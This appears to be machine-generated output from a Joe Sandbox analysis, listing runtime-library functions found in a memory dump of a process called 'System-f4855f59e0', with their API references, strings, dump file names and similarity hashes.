Opcode Fuzzy Hash: 27d77956a10e90ab490f0c721eba82fc7909f63d3c8e08e5310a8756c397005d
Instruction Fuzzy Hash: 3F114A24E0F24242FA59E76AA69503A6242EF46FB0F054738E83E877D6DE6CEC494710

Function 00007FF6A54BBCE0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6A54B4300: ctype.LIBCPMTD ref: 00007FF6A54B432C

std::make_error_code.LIBCPMTD ref: 00007FF6A54BBD73
std::ios_base::failure::failure.LIBCPMTD ref: 00007FF6A54BBD83

Strings

ios_base::badbit set, xrefs: 00007FF6A54BBD4C
ios_base::failbit set, xrefs: 00007FF6A54BBD57
ios_base::eofbit set, xrefs: 00007FF6A54BBD5E

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ctypestd::ios_base::failure::failurestd::make_error_code
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3792656898-1866435925
Opcode ID: fbfb89558d0a17bf34c80106cecc880b6de4e3a01342ff032f17d40910d8e845
Instruction ID: ed070272a231172839b897e72349a53f22393beb22edc4da18da04cc72d3ec4e
Opcode Fuzzy Hash: fbfb89558d0a17bf34c80106cecc880b6de4e3a01342ff032f17d40910d8e845
Instruction Fuzzy Hash: 23618D3260AA869AEB50DF29D4803AD37A4FB45F88F454032EB4D87B6ADF3DD855C310

Function 00007FF6A54CA370 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00007FF6A54CA416
_Maklocstr.LIBCPMT ref: 00007FF6A54CA42C
_Getvals.LIBCPMT ref: 00007FF6A54CA4D1

Strings

false, xrefs: 00007FF6A54CA40F
true, xrefs: 00007FF6A54CA425

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Maklocstr$Getvals
String ID: false$true
API String ID: 3025811523-2658103896
Opcode ID: d93070d2a64ccebe3fb8e75912a707a1e32fe0ada422d9842361ea70ddb92595
Instruction ID: 7b8d7a7817a7f8fe33a72ccb9d33d11657e347ce945534f90d46ca50c81b01b8
Opcode Fuzzy Hash: d93070d2a64ccebe3fb8e75912a707a1e32fe0ada422d9842361ea70ddb92595
Instruction Fuzzy Hash: 03416936B09B8199F710DF74E4401ED33B1FB99B48B415226EE4D67A4AEF38D99AC340

Function 00007FF6A54B16F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

std::make_error_code.LIBCPMTD ref: 00007FF6A54B17A8
std::ios_base::failure::failure.LIBCPMTD ref: 00007FF6A54B17BA

Part of subcall function 00007FF6A54DE318: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6A54DDB83), ref: 00007FF6A54DE368
Part of subcall function 00007FF6A54DE318: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6A54DDB83), ref: 00007FF6A54DE3A9

Strings

ios_base::badbit set, xrefs: 00007FF6A54B176B
ios_base::failbit set, xrefs: 00007FF6A54B1784
ios_base::eofbit set, xrefs: 00007FF6A54B1792

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ExceptionFileHeaderRaisestd::ios_base::failure::failurestd::make_error_code
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1846417002-1866435925
Opcode ID: 78cef2a9afe0b937c80230caf7cbd67644b82806d9d59776d326b93e520df914
Instruction ID: 04a52370b51833303c0dfdf31aa7d90b17f8328029c5c098f0f6b442a4cad7a6
Opcode Fuzzy Hash: 78cef2a9afe0b937c80230caf7cbd67644b82806d9d59776d326b93e520df914
Instruction Fuzzy Hash: A4216A32A0EB829AE760DB14E44166E77A0F789B84F544035E6CDC3BAADF3CD904CB04

Function 00007FF6A54D62F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

std::make_error_code.LIBCPMTD ref: 00007FF6A54D6337
std::ios_base::failure::failure.LIBCPMTD ref: 00007FF6A54D6347

Strings

ios_base::badbit set, xrefs: 00007FF6A54D630F
ios_base::failbit set, xrefs: 00007FF6A54D631B
ios_base::eofbit set, xrefs: 00007FF6A54D6322

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: std::ios_base::failure::failurestd::make_error_code
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 337632640-1866435925
Opcode ID: 1196825653b927798f1895748cbfed1d3d2bc0b462b5051efe7998ace02aad85
Instruction ID: 8e1a94dae5cd2de6e95e315d6fe525987beeb2feeac946e8caa9442a7e019844
Opcode Fuzzy Hash: 1196825653b927798f1895748cbfed1d3d2bc0b462b5051efe7998ace02aad85
Instruction Fuzzy Hash: AFF028A2A1B60A96FF44DB00E4426F52360FB51B48F940431D60D875A6DF3CE90AC341

Function 00007FF6A54BBBC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 29COMMON

Download Yara Rule

APIs

std::make_error_code.LIBCPMTD ref: 00007FF6A54BBC04
std::ios_base::failure::failure.LIBCPMTD ref: 00007FF6A54BBC14

Strings

ios_base::badbit set, xrefs: 00007FF6A54BBBDC
ios_base::failbit set, xrefs: 00007FF6A54BBBE8
ios_base::eofbit set, xrefs: 00007FF6A54BBBEF

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: std::ios_base::failure::failurestd::make_error_code
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 337632640-1866435925
Opcode ID: f77470be03ffc2e228dc63f3974c499a890b9becc41ccba0fc7a39c00e8bc535
Instruction ID: d3e4de56969b99f96ca5187c02772ced6d988ac098664ae6e96e9598a82ea4ee
Opcode Fuzzy Hash: f77470be03ffc2e228dc63f3974c499a890b9becc41ccba0fc7a39c00e8bc535
Instruction Fuzzy Hash: 10F0F6B1E1F90A96FA44EB00D4466F92330EF61B44F854431D64DC69ABEF3CD945C341

Function 00007FF6A54F00A8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6A54F00CD
GetProcAddress.KERNEL32 ref: 00007FF6A54F00E3
FreeLibrary.KERNEL32 ref: 00007FF6A54F010A

Strings

mscoree.dll, xrefs: 00007FF6A54F00C4
CorExitProcess, xrefs: 00007FF6A54F00DC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 37b341b9e68ca2947967fc6e98ff1dce805f9c5796a89e283bc6a4e4ae7836e5
Instruction ID: bc4ebce3d7eecb0be2a25050f68d4b24c6df04fcd74bd7cb00b96ef739a0b497
Opcode Fuzzy Hash: 37b341b9e68ca2947967fc6e98ff1dce805f9c5796a89e283bc6a4e4ae7836e5
Instruction Fuzzy Hash: 3CF06265B2AB0685FF14CB28E8453795720EF86F65F540636C96E861E4CF2DDC48C740

Function 00007FF6A54DF840 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF6A54DF963
__AdjustPointer.LIBCMT ref: 00007FF6A54DF9AE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0878affc78bd18bd4d18787875569a156cd14996a9b246bc248bbbc5629d56dc
Instruction ID: 7962f364fbdd490b4f18c065341998ad02020af3308700e56b0b670ed21a4023
Opcode Fuzzy Hash: 0878affc78bd18bd4d18787875569a156cd14996a9b246bc248bbbc5629d56dc
Instruction Fuzzy Hash: B6B18D23A0BA86A1EB75DB15944077967E0EF46F84F098436DE4D8B795EE2CEC92C300

Function 00007FF6A54F776C Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6A54F77AB
_set_statfp.LIBCMT ref: 00007FF6A54F77C9
_set_statfp.LIBCMT ref: 00007FF6A54F77F2
_set_statfp.LIBCMT ref: 00007FF6A54F7A2E

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c7fee55b1fe8e37091ef471a5dfb78c4a2ff78bda4d1f9acb92240a7042a8983
Instruction ID: 2320fe4ca23f5893b19c46972a66bf632851fd036b4218a16a70b828a4f9ed81
Opcode Fuzzy Hash: c7fee55b1fe8e37091ef471a5dfb78c4a2ff78bda4d1f9acb92240a7042a8983
Instruction Fuzzy Hash: 6C81F412D0AA464AF276CB3DA84077A7750EF47F94F044231EA5EA69D4DF3DED898B00

Function 00007FF6A5504660 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6A5504688
_set_statfp.LIBCMT ref: 00007FF6A55046A3
_set_statfp.LIBCMT ref: 00007FF6A55046BF
_set_statfp.LIBCMT ref: 00007FF6A55046FB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction ID: cc759e82d6cd2faf84947c0e5f3c17c8b07e9a245c651d26fc72ada1a036e302
Opcode Fuzzy Hash: e65ba792651367d839098e214d5891407b2dde01c0b567b7a4e043ebbfca8b6f
Instruction Fuzzy Hash: 48110A6FE1EE0389F7589169E4523790040AF57F78F594636EB6ECA2DAAE1CEC444300

Function 00007FF6A54F3B04 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6A54E2D57,?,?,00000000,00007FF6A54E2FF2,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54F3B23
FlsSetValue.KERNEL32(?,?,?,00007FF6A54E2D57,?,?,00000000,00007FF6A54E2FF2,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54F3B42
FlsSetValue.KERNEL32(?,?,?,00007FF6A54E2D57,?,?,00000000,00007FF6A54E2FF2,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54F3B6A
FlsSetValue.KERNEL32(?,?,?,00007FF6A54E2D57,?,?,00000000,00007FF6A54E2FF2,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54F3B7B
FlsSetValue.KERNEL32(?,?,?,00007FF6A54E2D57,?,?,00000000,00007FF6A54E2FF2,?,?,?,?,?,00007FF6A54E2F7E), ref: 00007FF6A54F3B8C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 00c6fbaa970bde4532dbe88b5cbe365500f69e3f9223cf134e003389b55fd81d
Instruction ID: 1cbaf9d03b7094458d7629260ce0ad954a1df7ccd7d2150cb20ee0da3fb3b945
Opcode Fuzzy Hash: 00c6fbaa970bde4532dbe88b5cbe365500f69e3f9223cf134e003389b55fd81d
Instruction Fuzzy Hash: 3B117C20A0F64241FA5CE7296AA61791242EF87FB0F084734E83DC77D6DE2CEC094700

Function 00007FF6A54F3998 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6A54F39A9
FlsSetValue.KERNEL32 ref: 00007FF6A54F39C8
FlsSetValue.KERNEL32 ref: 00007FF6A54F39F0
FlsSetValue.KERNEL32 ref: 00007FF6A54F3A01
FlsSetValue.KERNEL32 ref: 00007FF6A54F3A12

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 95840472770fdb9c6052a747c6ac3a5ec5e20f2c31c595646b27a6c3bdd3b62c
Instruction ID: 95c8925bcf183ea644998a4a393deb5e6ecae303545fd68ca783311d3c265079
Opcode Fuzzy Hash: 95840472770fdb9c6052a747c6ac3a5ec5e20f2c31c595646b27a6c3bdd3b62c
Instruction Fuzzy Hash: C111F714E0B24342FA6DE67A68925791245DF87F70F194B38E93ECA2D2DD2CBC494710

Function 00007FF6A54A3570 Relevance: 7.5, APIs: 5, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6A54A358E
HeapFree.KERNEL32 ref: 00007FF6A54A359E
CloseHandle.KERNEL32 ref: 00007FF6A54A35BA
TerminateProcess.KERNEL32 ref: 00007FF6A54A35D9
CloseHandle.KERNEL32 ref: 00007FF6A54A35E7

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CloseHandleHeapProcess$FreeTerminate
String ID:
API String ID: 1603644941-0
Opcode ID: e46810fe6f0cb646d3a61825d66203b2e1f31f7dd631d30bb055e965b888b515
Instruction ID: 73a90daff13ebc2906e7d38b83b3fd3e7c1311ec2e5ceca2a7ecbb704a00495b
Opcode Fuzzy Hash: e46810fe6f0cb646d3a61825d66203b2e1f31f7dd631d30bb055e965b888b515
Instruction Fuzzy Hash: 6A010435929B4181D654DB25E44871963A0FBCAF65F505231E66F837F4CF3CD845C700

Function 00007FF6A54A3A7C Relevance: 7.5, APIs: 5, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6A54A3AB4
HeapFree.KERNEL32 ref: 00007FF6A54A3AC4
CloseHandle.KERNEL32 ref: 00007FF6A54A3AD8
TerminateProcess.KERNEL32 ref: 00007FF6A54A3AF1
CloseHandle.KERNEL32 ref: 00007FF6A54A3AFC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CloseHandleHeapProcess$FreeTerminate
String ID:
API String ID: 1603644941-0
Opcode ID: c998734ac52e21941be4bbbdd5349791fe456c945ddb9cf23040b05087e31767
Instruction ID: d9e36e6b3db13c49175e15b3e555da128630f058048de7c88b27a870bd3cbcc6
Opcode Fuzzy Hash: c998734ac52e21941be4bbbdd5349791fe456c945ddb9cf23040b05087e31767
Instruction Fuzzy Hash: 3C01E82691EA8186E654DB61E45837AA361FFCBF59F400132E64EC26E8DF6CE849C700

Function 00007FF6A54D4508 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 243COMMON

Download Yara Rule

Strings

+, xrefs: 00007FF6A54D47BA
%, xrefs: 00007FF6A54D47A7

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: 0585d5205dcc34acdb9730a8ed53485f92eadd230b47e5a928e6ae8ed1d0e68a
Instruction ID: 62ab08238b242a5d0f1fb0c2bc7b0838fee91fa99be9e5440c8e83de531cb16a
Opcode Fuzzy Hash: 0585d5205dcc34acdb9730a8ed53485f92eadd230b47e5a928e6ae8ed1d0e68a
Instruction Fuzzy Hash: BDA1BE63B09B8585EB10CBA5E4402ED73A1FB9AB98F444132DE4D57B99DF7CD84AC300

Function 00007FF6A54E0BB4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6A54E0C24
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6A54E0C6F

Strings

RCC, xrefs: 00007FF6A54E0C40
MOC, xrefs: 00007FF6A54E0C38

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: f04d3499122c71daeb279c149854d81f5e6cc394a52a16fdb6094a55e056053c
Instruction ID: f73076c7c7117b35f9c031398fce8fa3fd1f8826742e65494dcda7a5a27845a6
Opcode Fuzzy Hash: f04d3499122c71daeb279c149854d81f5e6cc394a52a16fdb6094a55e056053c
Instruction Fuzzy Hash: 3C91A173A097818AE710DB65D8806EC7BB0FB46B88F144139EE8D97B55DF38E595CB00

Function 00007FF6A54DF244 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A54DF26F
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6A54DF306
RtlUnwindEx.KERNEL32 ref: 00007FF6A54DF360

Strings

csm, xrefs: 00007FF6A54DF2ED

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 2f9cd0233e9e69d1c3b070e3dee42124cfc35ce54e5d401af1a5d189a9220579
Instruction ID: 8e4cf1766e943472690853b5e28f5868eacf75b355fb4cf6b68d2fbcf7c917c3
Opcode Fuzzy Hash: 2f9cd0233e9e69d1c3b070e3dee42124cfc35ce54e5d401af1a5d189a9220579
Instruction Fuzzy Hash: 2C516C32A1AA02AAEB64CA15E444B7C77D1EB56F98F518131EE4A87788DE7DEC41C700

Function 00007FF6A54E1134 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A54E115C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6A54E1244

Strings

csm, xrefs: 00007FF6A54E1296
csm, xrefs: 00007FF6A54E117E

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: a86ef434612143075bbdd04d63bf48d03f65813a07eb0900109ee8a7c2088b10
Instruction ID: d8718572966050fc533deb3cedaabd228770a89a6f9f3c76ef7335d6661b06c1
Opcode Fuzzy Hash: a86ef434612143075bbdd04d63bf48d03f65813a07eb0900109ee8a7c2088b10
Instruction Fuzzy Hash: 1D517A32A4A6828AEB64CE1194443A877A0FB57F94F186236DE9DC7B95CF3CEC50C701

Function 00007FF6A54E0944 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6A54E09A3
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6A54E09EF

Strings

RCC, xrefs: 00007FF6A54E09BF
MOC, xrefs: 00007FF6A54E09B7

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

